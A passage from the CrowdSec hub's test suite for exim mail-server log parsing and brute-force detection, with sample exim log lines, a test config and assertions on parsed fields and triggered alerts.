results[0].Overflow.Alert.Events[2].GetMeta("target_dns") == "ppp-1-2-3-4.test.test.co.th" results[0].Overflow.Alert.Events[2].GetMeta("target_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-29T16:04:10Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "info2@test.com" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "exim-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "exim_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("target_dns") == "ppp-1-2-3-4.test.test.co.th" results[0].Overflow.Alert.Events[3].GetMeta("target_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-29T16:04:10Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "info3@test.com" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "exim-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "exim_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("target_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-29T16:04:14Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "info5@test.com" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "exim-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "exim_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[5].GetMeta("source_dns") == "imfo.test.com" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("source_user") == "info6@test.com" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-29T16:04:14Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "sales@toto.com.au" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/exim-user-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "1.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[1].Overflow.Sources["1.2.3.4"].Range == "" results[1].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "exim-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "exim_failed_auth" results[1].Overflow.Alert.Events[0].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("target_ip") == "1.2.3.5" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-29T16:04:05Z" results[1].Overflow.Alert.Events[0].GetMeta("username") == "info@test.com" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "exim-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "exim_failed_auth" results[1].Overflow.Alert.Events[1].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[1].GetMeta("target_dns") == "ppp-1-2-3-4.test.test.co.th" results[1].Overflow.Alert.Events[1].GetMeta("target_ip") == "1.2.3.5" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-29T16:04:08Z" results[1].Overflow.Alert.Events[1].GetMeta("username") == "info1@test.com" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "exim-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "exim_failed_auth" results[1].Overflow.Alert.Events[2].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[2].GetMeta("target_dns") == "ppp-1-2-3-4.test.test.co.th" results[1].Overflow.Alert.Events[2].GetMeta("target_ip") == "1.2.3.5" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-29T16:04:10Z" results[1].Overflow.Alert.Events[2].GetMeta("username") == "info2@test.com" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "exim-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "exim_failed_auth" results[1].Overflow.Alert.Events[3].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[3].GetMeta("target_dns") == "ppp-1-2-3-4.test.test.co.th" results[1].Overflow.Alert.Events[3].GetMeta("target_ip") == "1.2.3.5" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-29T16:04:10Z" results[1].Overflow.Alert.Events[3].GetMeta("username") == "info3@test.com" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "exim-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "exim_failed_auth" results[1].Overflow.Alert.Events[4].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[4].GetMeta("target_ip") == "1.2.3.5" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-29T16:04:14Z" results[1].Overflow.Alert.Events[4].GetMeta("username") == "info5@test.com" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "exim-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "exim_failed_auth" results[1].Overflow.Alert.Events[5].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[5].GetMeta("source_dns") == "imfo.test.com" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[5].GetMeta("source_user") == "info6@test.com" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-29T16:04:14Z" results[1].Overflow.Alert.Events[5].GetMeta("username") == "sales@toto.com.au" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/exim-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6hub1/.tests/exim-logs/000077500000000000000000000000001437532772500150605ustar00rootroot00000000000000hub1/.tests/exim-logs/config.yaml000066400000000000000000000003721437532772500172130ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/exim-logs.yaml scenarios: - "" postoverflows: - "" log_file: exim-logs.log log_type: exim labels: {} ignore_parsers: false override_statics: [] hub1/.tests/exim-logs/exim-logs.log000066400000000000000000000027651437532772500175010ustar00rootroot000000000000002022-06-29 16:04:19 dovecot_login authenticator failed for ([1.2.3.5]) [1.2.3.4]:55379: 535 Incorrect authentication data (set_id=abuse@test.com) 2022-06-29 16:04:05 dovecot_plain authenticator failed for (mail.test.com) [202.137.142.181]:47807: 535 Incorrect authentication data (set_id=dave) 2022-06-29 16:07:05 dovecot_login authenticator failed for ppp-1-2-3-4.test.test.co.th ([127.0.0.1]) [1.2.3.4]:51451: 535 Incorrect authentication data (set_id=info@test.com) 2022-06-29 15:33:46 H=test.com [1.2.3.4]:53343 F= rejected RCPT : "JunkMail rejected - test.com [1.2.3.4]:53343 is in an RBL: https://www.spamhaus.org/sbl/query/SBLCSS" 2022-06-29 14:34:58 H=imfo.test.biz [1.2.3.4]:35328 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : No Such User Here 2022-06-29 14:33:43 H=test.sa.com [1.2.3.4]:18146 temporarily rejected connection in "connect" ACL: "Host is ratelimited (1.9/1h max:1.2)" 2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 sender verify fail for : The mail server does not recognize toto@test.biz as a valid sender. 2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : Sender verify failed 2022-06-29 13:54:29 H=(smtpclient.test) [1.136.28.14]:17125 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 CV=no F= rejected RCPT : SMTP AUTH is required for message submission on port 587hub1/.tests/exim-logs/parser.assert000066400000000000000000001152621437532772500176060ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 9 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-06-29 16:04:19 dovecot_login authenticator failed for ([1.2.3.5]) [1.2.3.4]:55379: 535 Incorrect authentication data (set_id=abuse@test.com)" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022-06-29 16:04:05 dovecot_plain authenticator failed for (mail.test.com) [202.137.142.181]:47807: 535 Incorrect authentication data (set_id=dave)" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2022-06-29 16:07:05 dovecot_login authenticator failed for ppp-1-2-3-4.test.test.co.th ([127.0.0.1]) [1.2.3.4]:51451: 535 Incorrect authentication data (set_id=info@test.com)" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2022-06-29 15:33:46 H=test.com [1.2.3.4]:53343 F= rejected RCPT : \"JunkMail rejected - test.com [1.2.3.4]:53343 is in an RBL: https://www.spamhaus.org/sbl/query/SBLCSS\"" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "2022-06-29 14:34:58 H=imfo.test.biz [1.2.3.4]:35328 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : No Such User Here" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "2022-06-29 14:33:43 H=test.sa.com [1.2.3.4]:18146 temporarily rejected connection in \"connect\" ACL: \"Host is ratelimited (1.9/1h max:1.2)\"" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 sender verify fail for : The mail server does not recognize toto@test.biz as a valid sender." results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : Sender verify failed" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "exim-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "2022-06-29 13:54:29 H=(smtpclient.test) [1.136.28.14]:17125 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 CV=no F= rejected RCPT : SMTP AUTH is required for message submission on port 587" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "exim" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "exim-logs.log" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 9 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false len(results["s01-parse"]["crowdsecurity/exim-logs"]) == 9 results["s01-parse"]["crowdsecurity/exim-logs"][0].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Parsed["target_ip"] == "1.2.3.5" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Parsed["target_user"] == "abuse@test.com" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Parsed["date"] == "2022-06-29 16:04:19" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Parsed["message"] == "2022-06-29 16:04:19 dovecot_login authenticator failed for ([1.2.3.5]) [1.2.3.4]:55379: 535 Incorrect authentication data (set_id=abuse@test.com)" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Parsed["source_port"] == "55379" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Meta["target_ip"] == "1.2.3.5" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Meta["username"] == "abuse@test.com" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][0].Evt.Meta["log_type"] == "exim_failed_auth" results["s01-parse"]["crowdsecurity/exim-logs"][1].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Parsed["date"] == "2022-06-29 16:04:05" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Parsed["message"] == "2022-06-29 16:04:05 dovecot_plain authenticator failed for (mail.test.com) [202.137.142.181]:47807: 535 Incorrect authentication data (set_id=dave)" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Parsed["source_ip"] == "202.137.142.181" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Parsed["source_port"] == "47807" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Parsed["target_dns"] == "mail.test.com" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Parsed["target_user"] == "dave" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Meta["username"] == "dave" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Meta["log_type"] == "exim_failed_auth" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Meta["source_ip"] == "202.137.142.181" results["s01-parse"]["crowdsecurity/exim-logs"][1].Evt.Meta["target_dns"] == "mail.test.com" results["s01-parse"]["crowdsecurity/exim-logs"][2].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["date"] == "2022-06-29 16:07:05" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["message"] == "2022-06-29 16:07:05 dovecot_login authenticator failed for ppp-1-2-3-4.test.test.co.th ([127.0.0.1]) [1.2.3.4]:51451: 535 Incorrect authentication data (set_id=info@test.com)" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["source_port"] == "51451" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["target_dns"] == "ppp-1-2-3-4.test.test.co.th" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["target_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Parsed["target_user"] == "info@test.com" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["log_type"] == "exim_failed_auth" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["target_dns"] == "ppp-1-2-3-4.test.test.co.th" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["target_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["username"] == "info@test.com" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][3].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["message"] == "2022-06-29 15:33:46 H=test.com [1.2.3.4]:53343 F= rejected RCPT : \"JunkMail rejected - test.com [1.2.3.4]:53343 is in an RBL: https://www.spamhaus.org/sbl/query/SBLCSS\"" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["source_port"] == "53343" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["target_user"] == "toto@toto.com" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["date"] == "2022-06-29 15:33:46" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["rbl_url"] == "https://www.spamhaus.org/sbl/query/SBLCSS" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["source_dns"] == "test.com" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Parsed["source_user"] == "info@test.com" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["rbl_url"] == "https://www.spamhaus.org/sbl/query/SBLCSS" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["source_dns"] == "test.com" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["log_type"] == "spam-attempt" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["source_user"] == "info@test.com" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["username"] == "toto@toto.com" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][4].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["date"] == "2022-06-29 14:34:58" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["message"] == "2022-06-29 14:34:58 H=imfo.test.biz [1.2.3.4]:35328 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : No Such User Here" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["source_dns"] == "imfo.test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["source_user"] == "jack@test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["target_user"] == "sales@toto.com.au" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["tls_cipher"] == "TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Parsed["source_port"] == "35328" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["source_user"] == "jack@test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["username"] == "sales@toto.com.au" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["log_type"] == "exim_failed_auth" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["source_dns"] == "imfo.test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][5].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["message"] == "2022-06-29 14:33:43 H=test.sa.com [1.2.3.4]:18146 temporarily rejected connection in \"connect\" ACL: \"Host is ratelimited (1.9/1h max:1.2)\"" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["rate_limit"] == "1.9/1h max:1.2" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["source_dns"] == "test.sa.com" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["source_port"] == "18146" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["acl"] == "connect" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Parsed["date"] == "2022-06-29 14:33:43" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Meta["log_type"] == "spam-attempt" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Meta["source_dns"] == "test.sa.com" results["s01-parse"]["crowdsecurity/exim-logs"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][6].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Parsed["message"] == "2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 sender verify fail for : The mail server does not recognize toto@test.biz as a valid sender." results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Parsed["source_dns"] == "tata.test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Parsed["source_port"] == "41584" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Parsed["source_user"] == "toto@test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Parsed["date"] == "2022-06-29 15:47:21" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Meta["source_user"] == "toto@test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Meta["log_type"] == "spam-attempt" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Meta["source_dns"] == "tata.test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][6].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][7].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["message"] == "2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : Sender verify failed" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["target_user"] == "titi@alpacas.com.au" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["source_dns"] == "tata.test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["source_port"] == "41584" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["source_user"] == "nico@test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["tls_cipher"] == "TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["date"] == "2022-06-29 15:47:21" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["source_dns"] == "tata.test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["source_user"] == "nico@test.biz" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["username"] == "titi@alpacas.com.au" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["log_type"] == "spam-attempt" results["s01-parse"]["crowdsecurity/exim-logs"][7].Evt.Meta["service"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][8].Success == true results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["date"] == "2022-06-29 13:54:29" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["source_dns"] == "smtpclient.test" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["source_ip"] == "1.136.28.14" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["source_user"] == "info@toto.com.au" 